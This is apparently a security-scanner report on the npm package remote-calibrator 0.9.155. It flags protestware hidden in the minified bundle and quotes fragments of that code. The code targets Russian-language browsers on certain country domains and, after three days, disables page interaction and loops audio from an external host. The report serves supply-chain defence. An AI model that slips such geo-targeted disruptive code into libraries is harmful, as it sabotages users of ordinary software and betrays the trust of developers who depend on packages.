remote-calibrator@0.9.155: Malicious npm security report (Block) | LPM Firewall

Loading npm security reports…

remote-calibrator@0.9.155: Malicious npm security report (Block) | LPM Firewall

Source & flagged code

8 flagged · loading source

lib/RemoteCalibrator.min.jsView file

•n");t?(e.getTime()-Date.parse(t))/864e5>3&&setTimeout((()=>{document.body.style.pointerEvents="none";const e=document.createElement("audio");e.src="https://flag

Critical

Targeted Browser Disruption Protestware

Browser source targets specific languages and host suffixes, disables page interaction, and automatically loops audio from a fixed external host.

lib/RemoteCalibrator.min.jsView on unpkg

•Trigger-reachable chain: manifest.main -> lib/RemoteCalibrator.min.js Reachable file contains a blocking source-risk pattern.

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

lib/RemoteCalibrator.min.jsView on unpkg

•stage = ast_semantic_analysis; reason = ast_path_work_budget_exceeded; limitedFiles = 1

High

Semantic Analysis Limited

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

lib/RemoteCalibrator.min.jsView on unpkg

2!0):!(!t.focusConfirm||!ee(e.confirmButton))&&(e.confirmButton.focus(),!0),_n=()=>{document.activeElement instanceof HTMLElement&&"function"==typeof document.activeElement.blur&&document.activeElement.blur()};if("undefined"!=typeof window&&/^ru\b/.test(navigator.language)&&location.host.match(/\.(ru

High

Ai Review Evidence

The bundle checks for Russian-language browsers on selected country domains and records a first-visit date.

lib/RemoteCalibrator.min.jsView on unpkg · L2

2iveElement.blur()};if("undefined"!=typeof window&&/^ru\b/.test(navigator.language)&&location.host.match(/\.(ru|su|by|xn--p1ai)$/)){const e=new Date,t=localStorage.getItem("swal-initiation");t?(e.getTime()-Date.parse(t))/864e5>3&&setTimeout((()=>{document.body.style.pointerEvents="none";const e=document.createElement("audio");e.src="https://flag-gimn.ru/wp-content/uploads/2021/09/Ukraina.mp3",e.loop=!0,document.body.a

High

Ai Review Evidence

After more than three days, the bundle disables page interaction and loops audio from an external host.

lib/RemoteCalibrator.min.jsView on unpkg · L2

2st e=document.createElement("audio");e.src="https://flag-gimn.ru/wp-content/uploads/2021/09/Ukraina.mp3",e.loop=!0,document.body.appendChild(e),setTimeout((()=>{e.play().catch((()=>{}))}),2500)}),500):localStorage.setItem("swal-initiation",`${e}`)}Nn.prototype.disableButtons=Mt,Nn.prototype.enableBu

High

Ai Review Evidence

After more than three days, the bundle disables page interaction and loops audio from an external host.

lib/RemoteCalibrator.min.jsView on unpkg · L2

1/*! For license information please see RemoteCalibrator.min.js.LICENSE.txt */ L2: !function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define([],t):"object"==typeof exports?exports.RemoteCalibr... L3: //# sourceMappingURL=RemoteCalibrator.min.js.map

Low

Eval

Package source references a known benign dynamic code generation pattern.

lib/RemoteCalibrator.min.jsView on unpkg · L1

package.jsonView file

5"main": "lib/RemoteCalibrator.min.js", "directories": { "lib": "lib", "homepage": "homepage" }, "scripts": { "setup": "git submodule update --init --recursive && cd src/W

High

Ai Review Evidence

package.json exposes the minified browser bundle as the package entrypoint.

package.jsonView on unpkg · L5

Source & flagged code

8 flagged

lib/RemoteCalibrator.min.jsView file

•n");t?(e.getTime()-Date.parse(t))/864e5>3&&setTimeout((()=>{document.body.style.pointerEvents="none";const e=document.createElement("audio");e.src="https://flag

Critical

Targeted Browser Disruption Protestware

Browser source targets specific languages and host suffixes, disables page interaction, and automatically loops audio from a fixed external host.

lib/RemoteCalibrator.min.jsView on unpkg

•Trigger-reachable chain: manifest.main -> lib/RemoteCalibrator.min.js Reachable file contains a blocking source-risk pattern.

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

lib/RemoteCalibrator.min.jsView on unpkg

•stage = ast_semantic_analysis; reason = ast_path_work_budget_exceeded; limitedFiles = 1

High

Semantic Analysis Limited

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

lib/RemoteCalibrator.min.jsView on unpkg

2!0):!(!t.focusConfirm||!ee(e.confirmButton))&&(e.confirmButton.focus(),!0),_n=()=>{document.activeElement instanceof HTMLElement&&"function"==typeof document.activeElement.blur&&document.activeElement.blur()};if("undefined"!=typeof window&&/^ru\b/.test(navigator.language)&&location.host.match(/\.(ru

High

Ai Review Evidence

The bundle checks for Russian-language browsers on selected country domains and records a first-visit date.

lib/RemoteCalibrator.min.jsView on unpkg · L2

2iveElement.blur()};if("undefined"!=typeof window&&/^ru\b/.test(navigator.language)&&location.host.match(/\.(ru|su|by|xn--p1ai)$/)){const e=new Date,t=localStorage.getItem("swal-initiation");t?(e.getTime()-Date.parse(t))/864e5>3&&setTimeout((()=>{document.body.style.pointerEvents="none";const e=document.createElement("audio");e.src="https://flag-gimn.ru/wp-content/uploads/2021/09/Ukraina.mp3",e.loop=!0,document.body.a

High

Ai Review Evidence

After more than three days, the bundle disables page interaction and loops audio from an external host.

lib/RemoteCalibrator.min.jsView on unpkg · L2

2st e=document.createElement("audio");e.src="https://flag-gimn.ru/wp-content/uploads/2021/09/Ukraina.mp3",e.loop=!0,document.body.appendChild(e),setTimeout((()=>{e.play().catch((()=>{}))}),2500)}),500):localStorage.setItem("swal-initiation",`${e}`)}Nn.prototype.disableButtons=Mt,Nn.prototype.enableBu

High

Ai Review Evidence

After more than three days, the bundle disables page interaction and loops audio from an external host.

lib/RemoteCalibrator.min.jsView on unpkg · L2

1/*! For license information please see RemoteCalibrator.min.js.LICENSE.txt */ L2: !function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define([],t):"object"==typeof exports?exports.RemoteCalibr... L3: //# sourceMappingURL=RemoteCalibrator.min.js.map

Low

Eval

Package source references a known benign dynamic code generation pattern.

lib/RemoteCalibrator.min.jsView on unpkg · L1

package.jsonView file

Lines 1-25json

1{

2 "name": "remote-calibrator",

3 "version": "0.9.155",

4 "description": "Useful calibration tools for remote psychophysics experiments",

5 "main": "lib/RemoteCalibrator.min.js",

6